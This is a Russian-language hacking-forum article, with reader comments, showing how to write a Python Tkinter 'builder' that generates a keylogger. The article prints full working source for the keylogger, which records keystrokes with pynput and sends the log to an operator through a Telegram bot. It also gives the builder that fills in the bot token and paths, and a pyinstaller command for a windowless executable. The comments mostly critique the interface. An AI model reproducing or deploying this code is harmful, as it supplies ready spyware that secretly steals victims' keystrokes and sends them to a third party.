• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Пишем Builder под ваши программы на Python

1606236482800.png

Введение


Приветствую всех, кто читает данный контент. Хотелось начать с того, как часто вы видели программы для создания других программ? Да, звучит очень рекурсивно, но простыми словами такая вещь называется Builder. Тот самый софт, который создает ваши вирусы (просто часто именно такое вижу). Не важно, будь это RAT, stealer или winlocker. Согласитесь такая вещь очень полезна, ведь не надо лезть в исходники программы и пихать туда свои данные, чтобы ее же потом использовать. По этим пару словам можно уже понять, что в данной статье я хотел бы поделиться знаниями в создании таких builder'ов. Такое будет полезно в большей степени новичкам, но затронуть данную тему все же стоит. Приступим.

Зачем это нужно?


Представим такую ситуацию, вы нашли полезный проект на Github, что поможет решить вам задачу или собрать нужные данные. На примере возьмем RAT. Но его проблема заключается в том, что автор не предусмотрел автоматизированный ввод данных. Поэтому, чтобы все работало как вам надо требуется открывать сам файл и вносить в него нужные вам данные. И чтобы не повторять такое действие каждый раз мы создадим софт, что создавать программу будет с нашими данными.

Создание builder'а


Теперь переходим непосредственно к коду. За образец программы, что нам нужно собрать я возьму свой keylogger из данной статьи. Рассмотрим какие данные нам нужно вводить в коде, а это токен бота и расположения временного хранения файлов:

Python:
bot = telebot.TeleBot("токен")
os.chdir(r"ваш_путь ")
logging.disable(level=logging.CRITICAL)
shutil.copyfile(r"ваш_путь\system.txt",
                r"ваш_путь\logfile.txt")    # Для копирования нужна отдельная строка

Python:
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
bot = telebot.TeleBot("токен")
keygen = "system.txt"
os.getcwd()
os.chdir(r"ваш_путь ")
# Замена: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)
@bot.message_handler(commands=["start"])
def start_message(message):
    logging.disable(level=logging.CRITICAL)
    shutil.copyfile(r"ваш_путь\system.txt",
                    r"ваш_путь\logfile.txt")
    file = open("ваш_путь\logfile.txt", "rb")
    bot.send_document(message.chat.id, file)
    file.close()
    os.remove("ваш_путь\logfile.txt")
    bot.stop_polling()
bot.polling()
def keypress(Key):
    logging.info(str(Key))
with Listener(on_press=keypress) as listener:
    listener.join()

Делаем выводы, а именно в нашей программе должно быть 3 поля ввода данных. Это: токен telegram-бота, временное хранение файлов, копирование отправляемых данных. Третий параметр нужен для того, чтобы скопировать и отправить весь журнал так как файл system.txt остается в системе. Данную проблему пока что решаю в самом keylogger'е. Возвращаемся к теме и приступаем к написанию builder'a. А именно импортируем библиотеки:

Python:
from tkinter import *
from tkinter import messagebox as mb
from PIL import ImageTk, Image
import webbrowser

Многие уже заметили. Наш софт будет иметь пользовательский интерфейс для максимального удобства. Единственный минус, потребуется каждый раз при изменении внешнего вида запускать код. Для тех, кто не любит такие заморочки рекомендую ознакомиться с PyQt5, а мы продолжаем, создаем окно программы:

Python:
root = Tk()        # Создает окно
root.configure(background="#bdbdbd")    # Задает цвет, его можно изменить
root.title("Tkinter")    # Название в левом верхнем углу
root.iconbitmap("icon.ico")        # Иконка (должна лежать рядом с программой)
root.geometry("300x400")    # Размеры (x, y)

Если вы хотите добавить логотип то воспользуемся данной частью кода:

Python:
img = Image.open("logo.jpg")    # Название
image = ImageTk.PhotoImage(img)        # Отображение
initil = Label(root, image=image) 
initil.grid(padx=0, pady=0)     # Координаты, не советую менять
# Рекомендую использовать размеры 100x200 пикселей (в моем случае)

Следующий шаг это создание полей ввода наших данных:

Python:
text = Label(root, text="Токен Telegram бота", bg="#000000", fg="#ffffff")
text.grid(padx=0, pady=0)    # Расположение, текст и цветовая коррекция

API = Entry(root, width=20, bg="#8c8c8c")
API.grid(padx=0, pady=0)    # Поле ввода и размеры

text2 = Label(root, text="Путь временного хранения файлов", bg="#000000", fg="#ffffff")
text2.grid(padx=0, pady=0)    # Расположение, текст и цветовая коррекция

direct = Entry(root, width=20, bg="#8c8c8c")
direct.grid(padx=0, pady=0)     # Поле ввода и размеры

text2 = Label(root, text="Путь для копированния", bg="#000000", fg="#ffffff")
text2.grid(padx=0, pady=0)    # Расположение, текст и цветовая коррекция

direct2 = Entry(root, width=20, bg="#8c8c8c")
direct2.grid(padx=0, pady=0)    # Поле ввода и размеры

Примечание: bg - задний фон, fg - передний фон, width - ширина.

Осталось создать кнопку "Создать" и "Помощь" для связи. Снова пишем код:

Python:
button = Button(root, text="     Build     ", command=clicked, background="#ffea00", height=2)
button.grid(padx=6, pady=6)        # Создаем первую кнопку, расположение и коррекция

help = Button(root, text="     Help     ", command=clicked2, background="#ffea00", height=1)
help.grid(padx=6, pady=8)        # Создаем вторую кнопку, расположение и коррекция

root.mainloop()        # Отображение главного окна

Отступы в тексте требуются для ровного и правильного отображения кнопок. Но этот код не завершен, тк мы должны перед импортом указать команду clicked и clicked2:

Python:
def clicked():
    system = open("keylogger.py", "w")
    system.write('''
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
bot = telebot.TeleBot("''' + API.get() + '''")
keygen = "system.txt"
os.getcwd()
os.chdir(r"''' + direct.get() + ''' ")
# Замена: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)
@bot.message_handler(commands=["start"])
def start_message(message):
    logging.disable(level=logging.CRITICAL)
    shutil.copyfile(r"''' + direct.get() + '''\system.txt",
                    r"''' + direct2.get() + '''\logfile.txt")
    file = open("''' + direct2.get() + '''\logfile.txt", "rb")
    bot.send_document(message.chat.id, file)
    file.close()
    os.remove("''' + direct2.get() + '''\logfile.txt")
    bot.stop_polling()
bot.polling()
def keypress(Key):
    logging.info(str(Key))
with Listener(on_press=keypress) as listener:
    listener.join()

''')
    system.close()
    mb.showinfo("INFO", "Keylogger.py успешно создан!")


def clicked2():
    answer = mb.askyesno(title="Redirecting", message="Открыть обратную связь?")
    if answer:
        webbrowser.open("ссылка для связи", new=2)
    else:
        pass

На этом наш код завершен. Поэтому можем спокойно его тестировать. Для сборки в exe-файл используем команду:

pyinstaller -F -w -i путь_до_икноки --onefile имя.py

Теперь идем к завершению.

Вывод

В данной статье я постарался максимально понятно и доступно автоматизировать процесс создания программ с определенными данными. Надеюсь это поможет вам в будующих разработках. Если имеются предложения/доработки я готов выслушать ваше мнения в комментариях. Помощи и правкам всегда рад ;)

Python:
from tkinter import *
from tkinter import messagebox as mb
from PIL import ImageTk, Image
import webbrowser


def clicked():
    system = open("keylogger.py", "w")
    system.write('''
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
bot = telebot.TeleBot("''' + API.get() + '''")
keygen = "system.txt"
os.getcwd()
os.chdir(r"''' + direct.get() + ''' ")
# Замена: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)
@bot.message_handler(commands=["start"])
def start_message(message):
    logging.disable(level=logging.CRITICAL)
    shutil.copyfile(r"''' + direct.get() + '''\system.txt",
                    r"''' + direct2.get() + '''\logfile.txt")
    file = open("''' + direct2.get() + '''\logfile.txt", "rb")
    bot.send_document(message.chat.id, file)
    file.close()
    os.remove("''' + direct2.get() + '''\logfile.txt")
    bot.stop_polling()
bot.polling()
def keypress(Key):
    logging.info(str(Key))
with Listener(on_press=keypress) as listener:
    listener.join()

''')
    system.close()
    mb.showinfo("INFO", "Keylogger.py успешно создан!")


def clicked2():
    answer = mb.askyesno(title="Redirecting", message="Открыть обратную связь?")
    if answer:
        webbrowser.open("ссылка для связи", new=2)
    else:
        pass

root = Tk()
root.configure(background="#bdbdbd")
root.title("Tkinter")
root.iconbitmap("icon.ico")
root.geometry("300x400")

img = Image.open("logo.jpg")
image = ImageTk.PhotoImage(img)
initil = Label(root, image=image)
initil.grid(padx=0, pady=0)

text = Label(root, text="Токен Telegram бота", bg="#000000", fg="#ffffff")
text.grid(padx=0, pady=0)

API = Entry(root, width=20, bg="#8c8c8c")
API.grid(padx=0, pady=0)

text2 = Label(root, text="Путь временного хранения файлов", bg="#000000", fg="#ffffff")
text2.grid(padx=0, pady=0)

direct = Entry(root, width=20, bg="#8c8c8c")
direct.grid(padx=0, pady=0)

text2 = Label(root, text="Путь для копированния", bg="#000000", fg="#ffffff")
text2.grid(padx=0, pady=0)

direct2 = Entry(root, width=20, bg="#8c8c8c")
direct2.grid(padx=0, pady=0)

button = Button(root, text="     Build     ", command=clicked, background="#ffea00", height=2)
button.grid(padx=6, pady=6)

help = Button(root, text="     Help     ", command=clicked2, background="#ffea00", height=1)
help.grid(padx=6, pady=8)

root.mainloop()
 

mrOkey

Grey Team
14.11.2017
967
976
BIT
0
ну уже что то похожее на интересности, правда такой подход сработает лишь с интерпретируемыми языками.

Я не так хорошо знаю среду питона, но бьюсь об заклад, у него должен быть какой то шаблонизатор для генерации кода в рантайме. @explorer подскажи чуваку куда копать, чтоб он описал нормальный, каноничный подход для генерации
 
  • Нравится
Реакции: f22, Marylin и to_0day

explorer

Platinum
05.08.2018
1 081
2 474
BIT
14
Здесь весь смысл статьи сводится к одному - добавить в программу несколько input для пользовательского ввода, чтобы юзер ничего не шарящий в программировании не лез в код. И никакой билдер для этого не нужен. При этом автор наступил на те же грабли - если этот код попробует запустить юзер ничего не шарящий в коде, то у него программа вообще не запустится. Причина простая - нужно заранее сделать картинки с теми именами что есть в программе, да ещё нормального размера.

Не заморачиваясь с картинками я выпилил часть кода с ними и запустил, вот как это творение выглядит:

123.png


Какие рекомендации можно дать:

1. Выглядит это криво-косо, не обращая внимание на дизайн. Сделать нужно нормальное позиционирование по центру.
2. Запретить изменение размеров мышкой.
3. Иконки внести в код в формате base64, тогда всё у всех будет запускаться и это будет ОДИН файл.
4. Убрать HELP - это тупо ссылка в Гугл с запросом "ссылка для связи". Непонятно зачем вообще это нужно, для какой связи и с кем/чем.
5. Программа вообще никак не отслеживает действия пользователя. Я ничего не заполняя нажал Build, и программа мне радостно сообщила что кейлоггер успешно создан! )

В общем даже беглый просмотр говорит о том что та задача о которой говорил автор, а именно упростить всё для пользователя не достигнута.
 
T

to_0day

Здесь весь смысл статьи сводится к одному - добавить в программу несколько input для пользовательского ввода, чтобы юзер ничего не шарящий в программировании не лез в код. И никакой билдер для этого не нужен. При этом автор наступил на те же грабли - если этот код попробует запустить юзер ничего не шарящий в коде, то у него программа вообще не запустится. Причина простая - нужно заранее сделать картинки с теми именами что есть в программе, да ещё нормального размера.

Не заморачиваясь с картинками я выпилил часть кода с ними и запустил, вот как это творение выглядит:

Посмотреть вложение 45423

Какие рекомендации можно дать:

1. Выглядит это криво-косо, не обращая внимание на дизайн. Сделать нужно нормальное позиционирование по центру.
2. Запретить изменение размеров мышкой.
3. Иконки внести в код в формате base64, тогда всё у всех будет запускаться и это будет ОДИН файл.
4. Убрать HELP - это тупо ссылка в Гугл с запросом "ссылка для связи". Непонятно зачем вообще это нужно, для какой связи и с кем/чем.
5. Программа вообще никак не отслеживает действия пользователя. Я ничего не заполняя нажал Build, и программа мне радостно сообщила что кейлоггер успешно создан! )

В общем даже беглый просмотр говорит о том что та задача о которой говорил автор, а именно упростить всё для пользователя не достигнута.
Третий пункт требуется в объяснениии. Моих знаний пока что недостаточно, чтобы иконку вшивать в один файл с программой. На счет вывода да, есть такое что не умею делать его адекватным. В плане того, чтобы при простом клике он выводил что либо другое по типу ошибки. Хотя идея реализации есть с помощью того же if/else, но что то мне подсказывает tkinter не обратит внимания на такое в операторе def clicked. Статью отредактирую и сделаю код более красивым для пользователя

Здесь весь смысл статьи сводится к одному - добавить в программу несколько input для пользовательского ввода, чтобы юзер ничего не шарящий в программировании не лез в код. И никакой билдер для этого не нужен. При этом автор наступил на те же грабли - если этот код попробует запустить юзер ничего не шарящий в коде, то у него программа вообще не запустится. Причина простая - нужно заранее сделать картинки с теми именами что есть в программе, да ещё нормального размера.
Возникла на этом моменте идея, если пользователь не разбирается в языках, то можно слегка видоизменить программу, чтобы пользователь только указывал на файл, а он уже непосредственно редактировался. Но данная задача невозможна как мне кажется по причинам:
1. Код загружаемый пользователь может иметь больше данных для ввода чем имеется.
2. Программа не сможет самостоятельно понять где нужно изменить ввод.
 

explorer

Platinum
05.08.2018
1 081
2 474
BIT
14
Третий пункт требуется в объяснениии. Моих знаний пока что недостаточно, чтобы иконку вшивать в один файл с программой.
Вот ссылка на утилитку для преобразования https://codeby.net/threads/vajaem-muzykalnuju-otkrytku-na-python.64733/post-324715 прямо в ней же посмотрите в исходнике как строка base64 там пристроена, всё просто.

И в полях заполнения просто проверьте данные на пустоту. Если поле пусто, то при нажатии выводите сообщение что поле незаполнено. Условные операторы прекрасно работают, Tkinter тут или нет не имеет значения, просто логику измените.
Все мы учимся и с чего-то начинаем. Вы стремитесь что-то делать, и это хорошо. Когда реализуете много-много программ на совершенно разные темы, уровень несомненно повысится. Рекомендую сразу писать в IDE, чтобы приучаться писать без ошибок и предупреждений. Сам через это проходил.
 
  • Нравится
Реакции: to_0day
T

to_0day

Вот ссылка на утилитку для преобразования https://codeby.net/threads/vajaem-muzykalnuju-otkrytku-na-python.64733/post-324715 прямо в ней же посмотрите в исходнике как строка base64 там пристроена, всё просто.

И в полях заполнения просто проверьте данные на пустоту. Если поле пусто, то при нажатии выводите сообщение что поле незаполнено. Условные операторы прекрасно работают, Tkinter тут или нет не имеет значения, просто логику измените.
Все мы учимся и с чего-то начинаем. Вы стремитесь что-то делать, и это хорошо. Когда реализуете много-много программ на совершенно разные темы, уровень несомненно повысится. Рекомендую сразу писать в IDE, чтобы приучаться писать без ошибок и предупреждений. Сам через это проходил.
Большое спасибо за вашу помощь! Все что сказанно будет учтено и изменения будут внесены в уже готовые проекты
 

atum

Green Team
06.02.2019
13
18
BIT
0
Я бы наоборот, отучал бы людей от бренного графического интерфейса. В сторону терминала, аргументов командной строки и конфигурационных файлов.

Сперва когда прочёл, что билдер на питоне, подумал что будет кряк какой-нибудь малвари ;(
А тут кривой графический интерфейс к кейлогеру на питоне(((
 
  • Нравится
Реакции: f22
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!